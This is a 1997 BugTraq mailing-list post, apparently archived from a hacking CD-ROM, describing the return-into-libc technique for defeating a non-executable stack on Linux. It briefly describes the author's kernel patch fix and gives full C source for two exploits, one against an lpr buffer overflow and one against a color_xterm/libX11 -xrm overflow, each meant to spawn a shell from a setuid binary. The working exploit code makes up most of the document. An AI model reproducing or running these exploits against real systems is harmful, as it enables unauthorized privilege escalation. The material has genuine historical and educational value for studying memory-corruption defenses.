home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / ret-libc.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  15.2 KB  |  434 lines

  1. To: BugTraq
  2. Subject: Getting around non-executable stack (and fix)
  3. Date: Sun Aug 10 1997 13:29:46
  4. Author: Solar Designer < solar@false.com >
  5. Message-ID: <199708102029.RAA05108@false.com>
  6.  
  7.  
  8. Hello!
  9.  
  10. I finally decided to post a return-into-libc overflow exploit. This method
  11. has been discussed on linux-kernel list a few months ago (special thanks to
  12. Pavel Machek), but there was still no exploit. I'll start by speaking about
  13. the fix, you can find the exploits (local only) below.
  14.  
  15. [ I recommend that you read the entire message even if you aren't running
  16. Linux since a lot of the things described here are applicable to other
  17. systems as well (perhaps someone will finally exploit those overflows in
  18. Digital UNIX discussed here last year?). Also, this method might sometimes
  19. be better than usual one (with shellcode) even if the stack is executable. ]
  20.  
  21. You can find the fixed version of my non-executable stack Linux kernel patch
  22. at http://www.false.com/security/linux-stack/.
  23.  
  24. The problem is fixed by changing the address shared libraries are mmap()ed
  25. at in such a way so it always contains a zero byte. With most vulnerabilities
  26. the overflow is done with an ASCIIZ string, so this prevents the attacker
  27. from passing parameters to the function, and from filling the buffer with
  28. a pattern (requires to know the exact offset of the return address). I admit
  29. someone might still find a libc function with no parameters (this also has
  30. to be a single function, you can't call several of them in a row) that does
  31. enough harm, and find the exact offset of the return address. However, this
  32. gets quite complicated, especially for remote exploits, and especially for
  33. those where you have to guess from the first try (and you also need to guess
  34. the address in libc). So, like before, fix known vulnerabilities, and use
  35. the patch to add an extra layer of security against those yet unknown.
  36.  
  37. I also fixed a bug with the binary header flag which allowed local users to
  38. bypass the patch. Thanks to retch for reporting.
  39.  
  40. And one more good thing: I added a symlink-in-/tmp fix, originally by Andrew
  41. Tridgell. I changed it to prevent from using hard links too, by simply not
  42. allowing non-root users to create hard links to files they don't own, in +t
  43. directories. This seems to be the desired behavior anyway, since otherwise
  44. users couldn't remove such links they just created. I also added exploit
  45. attempt logging, this code is shared with the non-executable stack stuff,
  46. and was the reason to make it a single patch instead of two separate ones.
  47. You can enable them separately anyway.
  48.  
  49. And now here goes the exploit for the well-known old overflow in lpr. This
  50. one is simple, so it looks like a good starting point. Note: it doesn't
  51. contain any assembly code, there's only a NOP opcode, but this one will
  52. most likely not be used, it's for the case when system() is occasionally
  53. at a 256 byte boundary. The exploit also doesn't have any fixed addresses.
  54. Be sure to read comments in the exploit before you look at the next one.
  55.  
  56. >-- lpr.c --<
  57.  
  58. /*
  59.  * /usr/bin/lpr buffer overflow exploit for Linux with non-executable stack
  60.  * Copyright (c) 1997 by Solar Designer
  61.  */
  62. #include <stdio.h>
  63. #include <unistd.h>
  64. #include <string.h>
  65. #include <stdlib.h>
  66. #include <signal.h>
  67. #include <setjmp.h>
  68. #include <sys/ptrace.h>
  69. #include <sys/types.h>
  70. #include <sys/wait.h>
  71.  
  72. #define SIZE            1200    /* Amount of data to overflow with */
  73. #define ALIGNMENT       11      /* 0, 8, 1..3, 9..11 */
  74.  
  75. #define ADDR_MASK       0xFF000000
  76.  
  77. char buf[SIZE];
  78. int *ptr;
  79.  
  80. int pid, pc, shell, step;
  81. int started = 0;
  82. jmp_buf env;
  83.  
  84. void handler() {
  85.   started++;
  86. }
  87.  
  88. /* SIGSEGV handler, to search in libc */
  89. void fault() {
  90.   if (step < 0) {
  91. /* Change the search direction */
  92.     longjmp(env, 1);
  93.   } else {
  94. /* The search failed in both directions */
  95.     puts("\"/bin/sh\" not found, bad luck");
  96.     exit(1);
  97.   }
  98. }
  99.  
  100. void error(char *fn) {
  101.   perror(fn);
  102.   if (pid > 0) kill(pid, SIGKILL);
  103.   exit(1);
  104. }
  105.  
  106. void main() {
  107.   signal(SIGUSR1, handler);
  108.  
  109. /* Create a child process to trace */
  110.   if ((pid = fork()) < 0) error("fork");
  111.  
  112.   if (!pid) {
  113. /* Send the parent a signal, so it starts tracing */
  114.     kill(getppid(), SIGUSR1);
  115. /* A loop since the parent may not start tracing immediately */
  116.     while (1) system("");
  117.   }
  118.  
  119. /* Wait until the child tells us the next library call will be system() */
  120.   while (!started);
  121.  
  122.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  123.  
  124. /* Single step the child until it gets out of system() */
  125.   do {
  126.     waitpid(pid, NULL, WUNTRACED);
  127.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  128.     if (pc == -1) error("PTRACE_PEEKUSR");
  129.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  130.   } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  131.  
  132. /* Single step the child until it calls system() again */
  133.   do {
  134.     waitpid(pid, NULL, WUNTRACED);
  135.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  136.     if (pc == -1) error("PTRACE_PEEKUSR");
  137.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  138.   } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  139.  
  140. /* Kill the child, we don't need it any more */
  141.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  142.   pid = 0;
  143.  
  144.   printf("system() found at: %08x\n", pc);
  145.  
  146. /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  147.   if (!(pc & 0xFF))
  148.   if (*(unsigned char *)--pc != 0x90) pc = 0;
  149.  
  150. /* There's no easy workaround for these (except for using another function) */
  151.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  152.     puts("Zero bytes in address, bad luck");
  153.     exit(1);
  154.   }
  155.  
  156. /*
  157.  * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  158.  * in its address. To avoid specifying the actual address that libc is
  159.  * mmap()ed to we search from the address of system() in both directions
  160.  * until a SIGSEGV is generated.
  161.  */
  162.   if (setjmp(env)) step = 1; else step = -1;
  163.   shell = pc;
  164.   signal(SIGSEGV, fault);
  165.   do
  166.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  167.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  168.   signal(SIGSEGV, SIG_DFL);
  169.  
  170.   printf("\"/bin/sh\" found at: %08x\n", shell);
  171.  
  172. /*
  173.  * When returning into system() the stack should look like:
  174.  *                              pointer to "/bin/sh"
  175.  *                              return address placeholder
  176.  * stack pointer ->             pointer to system()
  177.  *
  178.  * The buffer could be filled with this 12 byte pattern, but then we would
  179.  * need to try up to 12 values for the alignment. That's why a 16 byte pattern
  180.  * is used instead:
  181.  *                              pointer to "/bin/sh"
  182.  *                              pointer to "/bin/sh"
  183.  * stack pointer (case 1) ->    pointer to system()
  184.  * stack pointer (case 2) ->    pointer to system()
  185.  *
  186.  * Any of the two stack pointer values will do, and only up to 8 values for
  187.  * the alignment need to be tried.
  188.  */
  189.   memset(buf, 'x', ALIGNMENT);
  190.   ptr = (int *)(buf + ALIGNMENT);
  191.   while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
  192.     *ptr++ = pc; *ptr++ = pc;
  193.     *ptr++ = shell; *ptr++ = shell;
  194.   }
  195.   buf[SIZE - 1] = 0;
  196.  
  197.   execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
  198.   error("execl");
  199. }
  200.  
  201. >-- lpr.c --<
  202.  
  203. The exploit above will crash after you exit the shell. This can be fixed by
  204. using a 12 byte pattern (like described in the comment), and setting the
  205. return address to point to exit() (we would need to find it first). This
  206. would however increase the number of possible alignment values to try from
  207. 8 to 12, so I don't do it.
  208.  
  209. Now, a more complicated exploit, for the -xrm libX11 overflow. It has been
  210. tested with color_xterm from Slackware 3.1. Will also work on other xterms
  211. (tested with xterm and nxterm from RedHat 4.2), but providing a user shell
  212. (not root), since these temporarily give up their privileges, and an extra
  213. setuid() call would be required.
  214.  
  215. Actually, using this method it is possible to call two functions in a row
  216. if the first one has exactly one parameter. The stack should look like this:
  217.  
  218.                                 pointer to "/bin/sh"
  219.                                 pointer to the UID (usually to 0)
  220.                                 pointer to system()
  221.  stack pointer ->               pointer to setuid()
  222.  
  223. This will require up to 16 values for the alignment. In this case, setuid()
  224. will return into system(), and while system() is running the pointer to UID
  225. will be at the place where system()'s return address should normally be, so
  226. (again) the thing will crash after you exit the shell (but no solution this
  227. time; who cares anyway?). I leave this setuid() stuff as an exercise for the
  228. reader.
  229.  
  230. Another thing specific to this exploit is that GetDatabase() in libX11 uses
  231. its parameter right before returning, so if we overwrite the return address
  232. and a few bytes after it (like normal pattern filling would do), the exploit
  233. wouldn't work. That was the reason the -xrm exploits posted were not stable,
  234. and required to adjust the size exactly. With returning into libc, this was
  235. not possible at all, since parameters to libc function should be right after
  236. the return address. That's why I do a trick similar to my SuperProbe exploit:
  237. overwrite a pointer to a structure that has a function pointer in it (their
  238. function also has exactly one parameter, I was extremely lucky here again).
  239.  
  240. This trick requires three separate buffers filled with different patterns.
  241. The first buffer is what I overflow with, while the two others are put onto
  242. the stack separately (to make them larger). Again, there's no correct return
  243. address from system(), and a pointer to some place on the stack is there.
  244. This makes it behave quite funny when you exit the shell: an exploit attempt
  245. is logged (when running my patch), since system() returns onto the stack. ;^)
  246. You can just kill the vulnerable program you're running from instead of
  247. exiting the shell if this is undesired.
  248.  
  249. Note that you have to link the exploit with the same shared libraries that
  250. the vulnerable program. Also, it might be required to add 4 to ALIGNMENT2 if
  251. the exploit doesn't work, even if it worked when running as another user...
  252.  
  253. >-- cx.c --<
  254.  
  255. /*
  256.  * color_xterm buffer overflow exploit for Linux with non-executable stack
  257.  * Copyright (c) 1997 by Solar Designer
  258.  *
  259.  * Compile:
  260.  * gcc cx.c -o cx -L/usr/X11/lib \
  261.  * `ldd /usr/X11/bin/color_xterm | sed -e s/^.lib/-l/ -e s/\\\.so.\\\+//`
  262.  *
  263.  * Run:
  264.  * $ ./cx
  265.  * system() found at: 401553b0
  266.  * "/bin/sh" found at: 401bfa3d
  267.  * bash# exit
  268.  * Segmentation fault
  269.  */
  270. #include <stdio.h>
  271. #include <unistd.h>
  272. #include <string.h>
  273. #include <stdlib.h>
  274. #include <signal.h>
  275. #include <setjmp.h>
  276. #include <sys/ptrace.h>
  277. #include <sys/types.h>
  278. #include <sys/wait.h>
  279.  
  280. #define SIZE1           1200    /* Amount of data to overflow with */
  281. #define ALIGNMENT1      0       /* 0..3 */
  282. #define OFFSET          22000   /* Structure array offset */
  283. #define SIZE2           16000   /* Structure array size */
  284. #define ALIGNMENT2      5       /* 0, 4, 1..3, 5..7 */
  285. #define SIZE3           SIZE2
  286. #define ALIGNMENT3      (ALIGNMENT2 & 3)
  287.  
  288. #define ADDR_MASK       0xFF000000
  289.  
  290. char buf1[SIZE1], buf2[SIZE2 + SIZE3], *buf3 = &buf2[SIZE2];
  291. int *ptr;
  292.  
  293. int pid, pc, shell, step;
  294. int started = 0;
  295. jmp_buf env;
  296.  
  297. void handler() {
  298.   started++;
  299. }
  300.  
  301. /* SIGSEGV handler, to search in libc */
  302. void fault() {
  303.   if (step < 0) {
  304. /* Change the search direction */
  305.     longjmp(env, 1);
  306.   } else {
  307. /* The search failed in both directions */
  308.     puts("\"/bin/sh\" not found, bad luck");
  309.     exit(1);
  310.   }
  311. }
  312.  
  313. void error(char *fn) {
  314.   perror(fn);
  315.   if (pid > 0) kill(pid, SIGKILL);
  316.   exit(1);
  317. }
  318.  
  319. int nz(int value) {
  320.   if (!(value & 0xFF)) value |= 8;
  321.   if (!(value & 0xFF00)) value |= 0x100;
  322.  
  323.   return value;
  324. }
  325.  
  326. void main() {
  327. /*
  328.  * A portable way to get the stack pointer value; why do other exploits use
  329.  * an assembly instruction here?!
  330.  */
  331.   int sp = (int)&sp;
  332.  
  333.   signal(SIGUSR1, handler);
  334.  
  335. /* Create a child process to trace */
  336.   if ((pid = fork()) < 0) error("fork");
  337.  
  338.   if (!pid) {
  339. /* Send the parent a signal, so it starts tracing */
  340.     kill(getppid(), SIGUSR1);
  341. /* A loop since the parent may not start tracing immediately */
  342.     while (1) system("");
  343.   }
  344.  
  345. /* Wait until the child tells us the next library call will be system() */
  346.   while (!started);
  347.  
  348.   if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
  349.  
  350. /* Single step the child until it gets out of system() */
  351.   do {
  352.     waitpid(pid, NULL, WUNTRACED);
  353.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  354.     if (pc == -1) error("PTRACE_PEEKUSR");
  355.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  356.   } while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
  357.  
  358. /* Single step the child until it calls system() again */
  359.   do {
  360.     waitpid(pid, NULL, WUNTRACED);
  361.     pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
  362.     if (pc == -1) error("PTRACE_PEEKUSR");
  363.     if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
  364.   } while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
  365.  
  366. /* Kill the child, we don't need it any more */
  367.   if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
  368.   pid = 0;
  369.  
  370.   printf("system() found at: %08x\n", pc);
  371.  
  372. /* Let's hope there's an extra NOP if system() is 256 byte aligned */
  373.   if (!(pc & 0xFF))
  374.   if (*(unsigned char *)--pc != 0x90) pc = 0;
  375.  
  376. /* There's no easy workaround for these (except for using another function) */
  377.   if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
  378.     puts("Zero bytes in address, bad luck");
  379.     exit(1);
  380.   }
  381.  
  382. /*
  383.  * Search for a "/bin/sh" in libc until we find a copy with no zero bytes
  384.  * in its address. To avoid specifying the actual address that libc is
  385.  * mmap()ed to we search from the address of system() in both directions
  386.  * until a SIGSEGV is generated.
  387.  */
  388.   if (setjmp(env)) step = 1; else step = -1;
  389.   shell = pc;
  390.   signal(SIGSEGV, fault);
  391.   do
  392.     while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
  393.   while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
  394.   signal(SIGSEGV, SIG_DFL);
  395.  
  396.   printf("\"/bin/sh\" found at: %08x\n", shell);
  397.  
  398. /* buf1 (which we overflow with) is filled with pointers to buf2 */
  399.   memset(buf1, 'x', ALIGNMENT1);
  400.   ptr = (int *)(buf1 + ALIGNMENT1);
  401.   while ((char *)ptr < buf1 + SIZE1 - sizeof(int))
  402.     *ptr++ = nz(sp - OFFSET);           /* db */
  403.   buf1[SIZE1 - 1] = 0;
  404.  
  405. /* buf2 is filled with pointers to "/bin/sh" and to buf3 */
  406.   memset(buf2, 'x', SIZE2 + SIZE3);
  407.   ptr = (int *)(buf2 + ALIGNMENT2);
  408.   while ((char *)ptr < buf2 + SIZE2) {
  409.     *ptr++ = shell;                     /* db->mbstate */
  410.     *ptr++ = nz(sp - OFFSET + SIZE2);   /* db->methods */
  411.   }
  412.  
  413. /* buf3 is filled with pointers to system() */
  414.   ptr = (int *)(buf3 + ALIGNMENT3);
  415.   while ((char *)ptr < buf3 + SIZE3 - sizeof(int))
  416.     *ptr++ = pc;                        /* db->methods->mbfinish */
  417.   buf3[SIZE3 - 1] = 0;
  418.  
  419. /* Put buf2 and buf3 on the stack */
  420.   setenv("BUFFER", buf2, 1);
  421.  
  422. /* GetDatabase() in libX11 will do (*db->methods->mbfinish)(db->mbstate) */
  423.   execl("/usr/X11/bin/color_xterm", "color_xterm", "-xrm", buf1, NULL);
  424.   error("execl");
  425. }
  426.  
  427. >-- cx.c --<
  428.  
  429. That's all for now.
  430. I hope I managed to prove that exploiting buffer overflows should be an art.
  431.  
  432. Signed,
  433. Solar Designer
  434.